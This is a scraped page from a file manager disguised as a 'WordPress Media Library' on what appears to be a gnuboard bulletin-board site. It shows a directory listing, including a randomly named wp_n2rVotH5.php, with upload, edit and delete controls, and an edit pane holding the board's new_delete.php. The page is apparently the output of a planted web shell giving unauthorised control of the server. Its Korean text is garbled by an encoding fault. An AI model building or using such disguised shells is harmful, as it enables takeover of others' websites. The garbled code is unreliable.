โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: new_delete.php
Size: 6.11 KB | Modified: 2019-12-09 16:42:40
<?php include_once('./_common.php'); //print_r2($_POST); exit; if ($is_admin != 'super') alert("์ต๊ณ ๊ด๋ฆฌ์๋ง ์ ๊ทผ์ด ๊ฐ๋ฅํฉ๋๋ค."); $board = array(); $save_bo_table = array(); $save_wr_id = array(); for($i=0;$i<count($_POST['chk_bn_id']);$i++) { // ์ค์ ๋ฒํธ๋ฅผ ๋๊น $k = $_POST['chk_bn_id'][$i]; $bo_table = isset($_POST['bo_table'][$k]) ? preg_replace('/[^a-z0-9_]/i', '', $_POST['bo_table'][$k]) : ''; $wr_id = isset($_POST['wr_id'][$k]) ? preg_replace('/[^0-9]/i', '', $_POST['wr_id'][$k]) : 0; $save_bo_table[$i] = $bo_table; $save_wr_id[$i] = $wr_id; $write_table = $g5['write_prefix'].$bo_table; if ($board['bo_table'] != $bo_table) $board = sql_fetch(" select bo_subject, bo_write_point, bo_comment_point, bo_notice from {$g5['board_table']} where bo_table = '$bo_table' "); $write = get_write($write_table, $wr_id); if (!$write) continue; // ์๊ธ ์ญ์ if ($write['wr_is_comment']==0) { $len = strlen($write['wr_reply']); if ($len < 0) $len = 0; $reply = substr($write['wr_reply'], 0, $len); // ๋๋ผ์ค๋ฆ๋ ์์ : ์๊ธ๊ณผ ์ฝ๋ฉํธ์๊ฐ ์ ์์ ์ผ๋ก ์ ๋ฐ์ดํธ ๋์ง ์๋ ์ค๋ฅ๋ฅผ ์ก์ ์ฃผ์ จ์ต๋๋ค. $sql = " select wr_id, mb_id, wr_is_comment from $write_table where wr_parent = '{$write['wr_id']}' order by wr_id "; $result = sql_query($sql); while ($row = sql_fetch_array($result)) { // ์๊ธ์ด๋ผ๋ฉด if (!$row['wr_is_comment']) { if (!delete_point($row['mb_id'], $bo_table, $row['wr_id'], '์ฐ๊ธฐ')) insert_point($row['mb_id'], $board['bo_write_point'] * (-1), "{$board['bo_subject']} {$row['wr_id']} ๊ธ์ญ์ "); // ์ ๋ก๋๋ ํ์ผ์ด ์๋ค๋ฉด ํ์ผ์ญ์ $sql2 = " select * from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '{$row['wr_id']}' "; $result2 = sql_query($sql2); while ($row2 = sql_fetch_array($result2)) @unlink(G5_DATA_PATH.'/file/'.$bo_table.'/'.$row2['bf_file']); // ํ์ผํ ์ด๋ธ ํ ์ญ์ sql_query(" delete from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '{$row['wr_id']}' "); $count_write++; } else { // ์ฝ๋ฉํธ ํฌ์ธํธ ์ญ์ if (!delete_point($row['mb_id'], $bo_table, $row['wr_id'], '์ฝ๋ฉํธ')) insert_point($row['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_id']}-{$row['wr_id']} ์ฝ๋ฉํธ์ญ์ "); $count_comment++; } } if ($pressed == '์ ํ๋ด์ฉ์ญ์ ') { // ๊ฒ์๊ธ ๋ด์ฉ๋ง ์ญ์ sql_query(" update $write_table set wr_subject = '".G5_TIME_YMDHIS." - ๋ณธ์ธ ์์ฒญ์ผ๋ก ์ธํ ์ญ์ (๋๋ฌด) โ', wr_content = '', wr_name='๋ณธ์ธ์์ฒญ์ญ์ โ' where wr_id = '{$write['wr_id']}' "); } else { // ๊ฒ์๊ธ ์ญ์ sql_query(" delete from $write_table where wr_parent = '{$write['wr_id']}' "); } // ์ต๊ทผ๊ฒ์๋ฌผ ์ญ์ sql_query(" delete from {$g5['board_new_table']} where bo_table = '$bo_table' and wr_parent = '{$write['wr_id']}' "); // ์คํฌ๋ฉ ์ญ์ sql_query(" delete from {$g5['scrap_table']} where bo_table = '$bo_table' and wr_id = '{$write['wr_id']}' "); // ๊ณต์ง์ฌํญ ์ญ์ $notice_array = explode(",", trim($board['bo_notice'])); $bo_notice = ""; $lf = ''; for ($k=0; $k<count($notice_array); $k++) { if ((int)$write['wr_id'] != (int)$notice_array[$k]) $bo_notice .= $lf.$notice_array[$k]; if($bo_notice) $lf = ','; } $bo_notice = trim($bo_notice); sql_query(" update {$g5['board_table']} set bo_notice = '$bo_notice' where bo_table = '$bo_table' "); if ($pressed == '์ ํ์ญ์ ') { // ๊ธ์ซ์ ๊ฐ์ if ($count_write > 0 || $count_comment > 0) { sql_query(" update {$g5['board_table']} set bo_count_write = bo_count_write - '$count_write', bo_count_comment = bo_count_comment - '$count_comment' where bo_table = '$bo_table' "); } } } else // ์ฝ๋ฉํธ ์ญ์ { //-------------------------------------------------------------------- // ์ฝ๋ฉํธ ์ญ์ ์ ๋ต๋ณ ์ฝ๋ฉํธ ๊น์ง ์ญ์ ๋์ง๋ ์์ //-------------------------------------------------------------------- //print_r2($write); $comment_id = $wr_id; $len = strlen($write['wr_comment_reply']); if ($len < 0) $len = 0; $comment_reply = substr($write['wr_comment_reply'], 0, $len); // ์ฝ๋ฉํธ ์ญ์ if (!delete_point($write['mb_id'], $bo_table, $comment_id, '์ฝ๋ฉํธ')) { insert_point($write['mb_id'], $board['bo_comment_point'] * (-1), "{$board['bo_subject']} {$write['wr_parent']}-{$comment_id} ์ฝ๋ฉํธ์ญ์ "); } // ์ฝ๋ฉํธ ์ญ์ sql_query(" delete from $write_table where wr_id = '$comment_id' "); // ์ฝ๋ฉํธ๊ฐ ์ญ์ ๋๋ฏ๋ก ํด๋น ๊ฒ์๋ฌผ์ ๋ํ ์ต๊ทผ ์๊ฐ์ ๋ค์ ์ป๋๋ค. $sql = " select max(wr_datetime) as wr_last from $write_table where wr_parent = '{$write['wr_parent']}' "; $row = sql_fetch($sql); // ์๊ธ์ ์ฝ๋ฉํธ ์ซ์๋ฅผ ๊ฐ์ sql_query(" update $write_table set wr_comment = wr_comment - 1, wr_last = '{$row['wr_last']}' where wr_id = '{$write['wr_parent']}' "); // ์ฝ๋ฉํธ ์ซ์ ๊ฐ์ sql_query(" update {$g5['board_table']} set bo_count_comment = bo_count_comment - 1 where bo_table = '$bo_table' "); // ์๊ธ ์ญ์ sql_query(" delete from {$g5['board_new_table']} where bo_table = '$bo_table' and wr_id = '$comment_id' "); } } foreach ($save_bo_table as $key=>$value) { delete_cache_latest($value); } run_event('bbs_new_delete', $chk_bn_id, $save_bo_table, $save_wr_id); goto_url("new.php?sfl=$sfl&stx=$stx&page=$page"); ?>
๐พ Save Changes
๐ฅ Download
๐๏ธ Delete